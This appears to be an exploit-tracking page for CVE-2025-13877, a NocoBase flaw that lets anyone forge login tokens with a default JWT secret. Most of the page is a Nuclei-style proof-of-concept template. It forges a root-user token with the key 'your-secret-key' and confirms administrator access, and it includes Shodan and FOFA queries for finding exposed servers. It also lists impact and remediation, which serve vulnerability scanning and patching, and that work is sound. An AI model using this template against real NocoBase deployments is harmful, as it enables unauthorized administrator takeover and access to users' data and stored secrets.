CVE-2025-13877: NocoBase - Default JWT Secret Authentication Bypass

2026-11-29 PoC Public

Description

NocoBase @nocobase/auth 1.9.21 and earlier and 2.0.0-alpha.51 and earlier sign and verify JWT tokens with the APP_KEY value. The official docker-compose files ship APP_KEY=your-secret-key, so deployments that keep this value accept tokens forged with the public key for any userId.

Details

CVE
CVE-2025-13877 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2025-13877

info:
  name: NocoBase - Default JWT Secret Authentication Bypass
  author: s4e-io
  severity: medium
  description: |
    NocoBase @nocobase/auth 1.9.21 and earlier and 2.0.0-alpha.51 and earlier sign and verify JWT tokens with the APP_KEY value. The official docker-compose files ship APP_KEY=your-secret-key, so deployments that keep this value accept tokens forged with the public key for any userId.
  impact: |
    Unauthenticated attackers can forge a token for the root user and get full administrator access to data, users, plugins and stored secrets.
  remediation: |
    Upgrade to NocoBase 1.9.23, 1.9.0-beta.18, 2.0.0-alpha.52 or later, which ignore the default key and generate a random JWT secret. As a workaround, set APP_KEY to a strong random value and restart the application.
  reference:
    - https://github.com/nocobase/nocobase/security/advisories/GHSA-mv7p-34fv-4874
    - https://github.com/nocobase/nocobase/commit/de4292ea7847dd26c6306445091769f8b9ee96d5
    - https://gist.github.com/H2u8s/f3ede60d7ecfe598ae452aa5a8fbb90d
    - https://nvd.nist.gov/vuln/detail/CVE-2025-13877
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 5.6
    cve-id: CVE-2025-13877
    epss-score: 0.01138
    epss-percentile: 0.66344
    cwe-id: CWE-321
  metadata:
    verified: true
    max-request: 2
    vendor: nocobase
    product: nocobase
    shodan-query: http.html:"__nocobase_public_path__"
    fofa-query: body="__nocobase_public_path__"
  tags: cve,cve2025,nocobase,auth-bypass,jwt,default-jwt,unauth

variables:
  secret: "your-secret-key"
  claims: '{"userId":1}'

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /api/auth:check HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "\"code\":\"EMPTY_TOKEN\"")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/auth:check HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Authorization: Bearer {{generate_jwt(claims,"HS256",secret,unix_time(600))}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"data\":{\"id\":1,", "\"rolesUsers\":{", "\"roleName\":\"root\"")'
        condition: and
# digest: 490a004630440220339ba86c7e16a6698214b25a12951d10be8bebc5ad41d0f173366b5d09f46e2602204f2039d0ff80f3ec8ff651a47aac3ba320b386786d85bc6586394ab7bdb75e64:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life